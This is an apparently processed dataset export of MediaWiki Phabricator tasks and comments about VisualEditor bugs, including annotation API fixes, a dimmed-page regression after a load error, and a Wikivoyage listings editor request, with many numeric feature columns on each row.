**Severity**: normal",Medium,50.0,1363986660,1428423688.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ywpcq2rcuhvgvzt5k6zj,task_description,resolved,True,c1,1,False,False,False,-15,,2.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,6.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,9.0,3.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.734375,0.734375,"* Make toHTML() return real DOM nodes, we don't need the weird construction for CE any more
* Pass in the content so it's possible to have rules like ""if the annotation only covers whitespace, strip it""

--------------------------
**Version**: unspecified
**Severity**: normal"
439726,VisualEditor: Annotation API fixes,It's a T39835 issue.,,,1428423652,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ywpcq2rcuhvgvzt5k6zj,task_subcomment,,True,c1,3,True,,,92,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,1.0,It's a T39835 issue.
437826,VisualEditor: Annotation API fixes,"I didn't know whether to reopen this or add a note to T39835, but looks like it's still possible to [[ https://fr.wikipedia.org/w/index.php?title=Asselin_(entreprise)&curid=8746091&diff=113502024&oldid=112208671 | create an empty wikilink ]]? ",,,1428045874,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-ywpcq2rcuhvgvzt5k6zj,task_subcomment,,True,c1,3,False,,,91,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,15.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,3.0,6.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,15.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.235294117647059,0.8823529411764706,"I didn't know whether to reopen this or add a note to T39835, but looks like it's still possible to [[ URL | create an empty wikilink ]]? "
230024,VisualEditor: Annotation API fixes,Now done.,,,1366141186,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ywpcq2rcuhvgvzt5k6zj,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,Now done.
48456,[Regression] VisualEditor: Error in load() leaves page in dimmed state (Uncaught TypeError: Cannot call method 'removeAllListeners' of null),"Steps to reproduce issue:
* MediaWiki + VisualEditor (no Parsoid)
* Edit page (dims the page while loading)
* Error pops up (parsoidserver-http-curl-error)
* Cancel

Expected:
 Page undims.

Actual:
 Page still dimmed.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1363973460,1363982636.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-qe3ooothxjpeykl2xzld,task_description,resolved,True,c1,1,True,False,True,-15,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,17.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.56,0.5733333333333334,"Steps to reproduce issue:
* MediaWiki + VisualEditor (no Parsoid)
* Edit page (dims the page while loading)
* Error pops up (parsoidserver-http-curl-error)
* Cancel

Expected:
 Page undims.

Actual:
 Page still dimmed.

--------------------------
**Version**: unspecified
**Severity**: normal"
229255,[Regression] VisualEditor: Error in load() leaves page in dimmed state (Uncaught TypeError: Cannot call method 'removeAllListeners' of null),"Change-Id: I91ad2b110c2c523a4bb367407e3f33a953328ab4

That should fix it for now (quick fix). I'm now going to look into how much of this can be refactored to avoid this in the first place. It's all a bit too fragile.",,,1363976526,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-qe3ooothxjpeykl2xzld,task_subcomment,,True,c1,1,True,,,-15,,4.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,13.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,13.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,13.0,6.0,0.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,3.893617021276596,0.8723404255319149,"Change-Id: I91ad2b110c2c523a4bb367407e3f33a953328ab4

That should fix it for now (quick fix). I'm now going to look into how much of this can be refactored to avoid this in the first place. It's all a bit too fragile."
229249,[Regression] VisualEditor: Error in load() leaves page in dimmed state (Uncaught TypeError: Cannot call method 'removeAllListeners' of null),"Caused by I7769bd5a5b79f1ab36f258ef9f2be583ca503ce6.

In the refactoring Trevor moved the initialisation of the DOM element for the save/cancel buttons from the ve.init.mw.ViewPageTarget constructor to ve.init.mw.ViewPageTarget#setupToolbarButtons, which isn't called until after a successful load.

So, when #load() is called from #activate() and fails a loadError is emitted. onLoadError then calls #deacativate() which calls #tearDownToolbarButtons()

But tearDownToolbarButtons is unable to call this.toolbarCancelButton.removeAllListeners because the button doesn't exist yet because setupToolbarButtons was never called.",,,1363976008,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-qe3ooothxjpeykl2xzld,task_subcomment,,True,c1,1,True,,,-15,,0.0,0.0,0.0,4.0,2.0,2.0,1.0,2.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,7.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,9.0,3.0,2.0,10.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,1.0,12.0,3.0,0.0,0.0,0.0,1.0,0.0,3.0,2.0,0.0,1.0,0.0,0.0,1.0,5.656565656565657,0.6262626262626263,"Caused by I7769bd5a5b79f1ab36f258ef9f2be583ca503ce6.

In the refactoring Trevor moved the initialisation of the DOM element for the save/cancel buttons from the ve.init.mw.ViewPageTarget constructor to ve.init.mw.ViewPageTarget#setupToolbarButtons, which isn't called until after a successful load.

So, when #load() is called from #activate() and fails a loadError is emitted. onLoadError then calls #deacativate() which calls #tearDownToolbarButtons()

But tearDownToolbarButtons is unable to call this.toolbarCancelButton.removeAllListeners because the button doesn't exist yet because setupToolbarButtons was never called."
48246,VisualEditor: Trying to auto select a word just after an alien node causes an exception in rangy.,"1. Load the 'aliens' example document.
2. Place the cursor in front of the first 'Lorem' and hit the link button.
3. Observe the exception

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1363548060,1364218671.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-2a3roys3zrsyau3jssx7,task_description,resolved,True,c1,1,True,False,True,-16,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,11.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.4814814814814814,0.5925925925925926,"1. Load the 'aliens' example document.
2. Place the cursor in front of the first 'Lorem' and hit the link button.
3. Observe the exception

--------------------------
**Version**: unspecified
**Severity**: normal"
215891,VisualEditor: Trying to auto select a word just after an alien node causes an exception in rangy.,Marking as fixed for -04-01 as it wasn't for -03-18.,,,1364223708,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2a3roys3zrsyau3jssx7,task_subcomment,,True,c1,1,True,,,-14,,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,19.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.6875,0.8125,Marking as fixed for -04-01 as it wasn't for -03-18.
215885,VisualEditor: Trying to auto select a word just after an alien node causes an exception in rangy.,Looks to be fixed in master now. Not sure which commit did it....,,,1364218671,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-2a3roys3zrsyau3jssx7,task_subcomment,,True,c1,1,True,,,-14,,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.533333333333333,1.0,Looks to be fixed in master now. Not sure which commit did it....
215879,VisualEditor: Trying to auto select a word just after an alien node causes an exception in rangy.,"Ed, I can't reproduce it the way you described it. Please note that around first 'Lorem' (first paragraph) there is no alien (inline nor block).",,,1363801281,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-2a3roys3zrsyau3jssx7,task_subcomment,,True,c1,1,False,,,-15,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,11.0,6.0,6.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.8285714285714286,"Ed, I can't reproduce it the way you described it. Please note that around first 'Lorem' (first paragraph) there is no alien (inline nor block)."
48225,Create a VisualEditor plugin tool to add/edit Listings,"**Author:** `lukebenes`

**Description:**
I see from [http://en.wikivoyage.org/wiki/Wikivoyage:Accommodation_listings The Accomodations Listing suggested style you want people to continue to use the wikitravel tags. But I do not see any tools to automate the process. 

If you look at the Add and Edit Listing Feature listing like those that can be found [http://wikitravel.org/en/Wikitravel:Small_city_article_template#Sleep here] and [http://wikitravel.org/en/Trat#Sleep here]? You'll see there is a tool to edit these tag. 

This tags is extremely useful to organize data and make quick edits. For example, I have fixed many incorrect phone numbers and addresses using this helpful tool. Please consider adding this feature the MediaWiki.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1363453140,1719889959.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-escte3psz5yfd2nj3jzr,False,PHID-TASK-tqro35vsrplftuemdxbd,task_description,declined,True,c1,1,False,False,False,-16,,1.0,0.0,0.5,0.5,0.5,4.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,1.5,0.0,2.0,5.5,0.0,3.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.5,1.0,4.0,3.0,0.0,1.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,13.5,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,3.5,2.0,14.0,0.5,3.0,7.0,0.0,0.0,0.0,0.0,6.0,0.5,0.0,0.0,3.5,5.5,4.5,0.5,0.0,0.0,3.5,0.0,0.5,0.5,0.0,2.0,0.0,0.0,1.5,3.8971048513302033,0.7204616588419406,"**Author:** CODE

**Description:**
I see from [URL The Accomodations Listing suggested style you want people to continue to use the wikitravel tags. But I do not see any tools to automate the process. 

If you look at the Add and Edit Listing Feature listing like those that can be found [URL here] and [URL here]? You'll see there is a tool to edit these tag. 

This tags is extremely useful to organize data and make quick edits. For example, I have fixed many incorrect phone numbers and addresses using this helpful tool. Please consider adding this feature the MediaWiki.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
2369372,Create a VisualEditor plugin tool to add/edit Listings,"{T354997}

Listings nowdays are just template calls, which VisualEditor has reasonable tools to edit.",,,1719889959,,PHID-USER-escte3psz5yfd2nj3jzr,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,3,True,,,574,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.684210526315789,1.0,"{T354997}

Listings nowdays are just template calls, which VisualEditor has reasonable tools to edit."
702789,Create a VisualEditor plugin tool to add/edit Listings,">>! In T48225#2501154, @T.seppelt wrote:
> Since listings are highly structured and can be shared across several Wikivoyage language versions, Wikidata editing should be implemented before rolling this out.

Certainly, I think storing this data in Wikidata would be a good move. I'm not absolutely sure it should happen first, but I suppose it depends on who wants to work on what. :-)",,,1469817709,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,3,True,,,160,,0.0,0.0,2.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,9.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,12.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,16.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,12.0,9.0,2.0,0.0,0.0,0.0,12.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,3.6511627906976742,0.8372093023255814,"QUOTE
QUOTE

Certainly, I think storing this data in Wikidata would be a good move. I'm not absolutely sure it should happen first, but I suppose it depends on who wants to work on what. :-)"
701805,Create a VisualEditor plugin tool to add/edit Listings,"Since listings are highly structured and can be shared across several Wikivoyage language versions, Wikidata editing should be implemented before rolling this out. I added T141345 for this. 

Note also that there is https://en.wikivoyage.org/wiki/Wikivoyage:Listing_editor, a tool especially designed for editing listings.",,,1469686526,,PHID-USER-yyjb72nqrow4ij7mzhhm,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,3,False,,,160,,2.0,0.0,2.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,15.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,15.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,15.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.956521739130435,0.8478260869565217,"Since listings are highly structured and can be shared across several Wikivoyage language versions, Wikidata editing should be implemented before rolling this out. I added T141345 for this. 

Note also that there is URL a tool especially designed for editing listings."
639615,Create a VisualEditor plugin tool to add/edit Listings,"Note that, in my view, this is not a blocker for enabling the visual editor on Wikivoyages for all users. This is because almost no uses of `<listing>`s are done directly in wikitext, but instead through a template, which could do with some TemplateData love, but is supported fine already.

If you think I'm wrong please shout. :-)",,,1459668127,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,3,True,,,143,,3.0,0.0,0.0,3.0,1.0,3.0,3.0,1.0,0.0,1.0,4.0,1.0,0.0,1.0,0.0,3.0,0.0,9.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,3.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,6.0,10.0,4.0,3.0,13.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,4.0,16.0,3.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.9558823529411766,0.8235294117647058,"Note that, in my view, this is not a blocker for enabling the visual editor on Wikivoyages for all users. This is because almost no uses of CODEs are done directly in wikitext, but instead through a template, which could do with some TemplateData love, but is supported fine already.

If you think I'm wrong please shout. :-)"
214696,Create a VisualEditor plugin tool to add/edit Listings,"**lukebenes** wrote:

Have you taken a look at WP:HOTCAT?

http://en.wikipedia.org/wiki/Wikipedia:HC

HotCat is a JavaScript program that helps registered users easily remove, change and add categories to Wikipedia pages. This is very similar to the functionality that we need for the Listing Editor.",,,1371640823,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,4.0,18.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,7.0,14.0,2.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7857142857142857,"**lukebenes** wrote:

Have you taken a look at WP:HOTCAT?

URL

HotCat is a JavaScript program that helps registered users easily remove, change and add categories to Wikipedia pages. This is very similar to the functionality that we need for the Listing Editor."
214688,Create a VisualEditor plugin tool to add/edit Listings,"This is about the Listings extension which is unique (in Wikimedia land) to Wikivoyage - https://www.mediawiki.org/wiki/Extension:Listings

It creates the following tags:

<buy>
<do>
<drink>
<eat>
<listing>
<see>
<sleep>

They are used to provide structured mark-up and hinting of recommendations for WV listings of places to go.

Sorry for the confusion. :-)",,,1364934457,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,4.0,11.0,0.0,1.0,6.0,0.0,1.0,0.0,0.0,7.0,1.0,0.0,0.0,2.0,11.0,6.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,17.0,3.3292682926829267,0.6463414634146342,"This is about the Listings extension which is unique (in Wikimedia land) to Wikivoyage - URL

It creates the following tags:

<buy>
<do>
<drink>
<eat>
<listing>
<see>
<sleep>

They are used to provide structured mark-up and hinting of recommendations for WV listings of places to go.

Sorry for the confusion. :-)"
214681,Create a VisualEditor plugin tool to add/edit Listings,"We weren't talking about any extension. This report was filed against MediaWiki core. Happy to move it to the right place, as long as we know what is the right place.

Luke, are you saying those tags were created in the Wikitravel times? If so, it would be useful to know how did they handle them.",,,1364933198,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,1,False,,,-13,,2.0,0.0,0.0,3.0,2.0,6.0,3.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,8.0,12.0,0.0,3.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,3.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,5.0,9.0,11.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,12.0,5.0,2.0,0.0,0.0,11.0,0.0,3.0,0.0,2.0,3.0,0.0,0.0,0.0,3.6818181818181817,0.7727272727272727,"We weren't talking about any extension. This report was filed against MediaWiki core. Happy to move it to the right place, as long as we know what is the right place.

Luke, are you saying those tags were created in the Wikitravel times? If so, it would be useful to know how did they handle them."
214676,Create a VisualEditor plugin tool to add/edit Listings,"Actually, on reflection this should live in the Extension we're talking about, and block against a tracker for such creations in VE itself. Sorry to mess this around.",,,1364926961,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,24.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,6.0,24.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,4.212121212121212,0.8787878787878788,"Actually, on reflection this should live in the Extension we're talking about, and block against a tracker for such creations in VE itself. Sorry to mess this around."
214669,Create a VisualEditor plugin tool to add/edit Listings,"Looking at our roadmap, the implementation of this feature looks more like a candidate for a VisualEditor plugin. 

MediaWiki core features must be generic enough for different wikis and must be reviewed and integrated by core maintainers. Visual Editor plugins can be developed by anybody and it is perfecty ok to have them for very specific purposes e.g. a Wikivoyage plugin.",,,1364925993,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-tqro35vsrplftuemdxbd,task_subcomment,,True,c1,1,False,,,-13,,0.0,2.0,2.0,3.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,14.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,9.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,5.0,14.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,4.803030303030303,0.7878787878787878,"Looking at our roadmap, the implementation of this feature looks more like a candidate for a VisualEditor plugin. 

MediaWiki core features must be generic enough for different wikis and must be reviewed and integrated by core maintainers. Visual Editor plugins can be developed by anybody and it is perfecty ok to have them for very specific purposes e.g. a Wikivoyage plugin."
214665,Create a VisualEditor plugin tool to add/edit Listings,"**lukebenes** wrote:

There is a discussion about this feature on the wikivoyage site here:
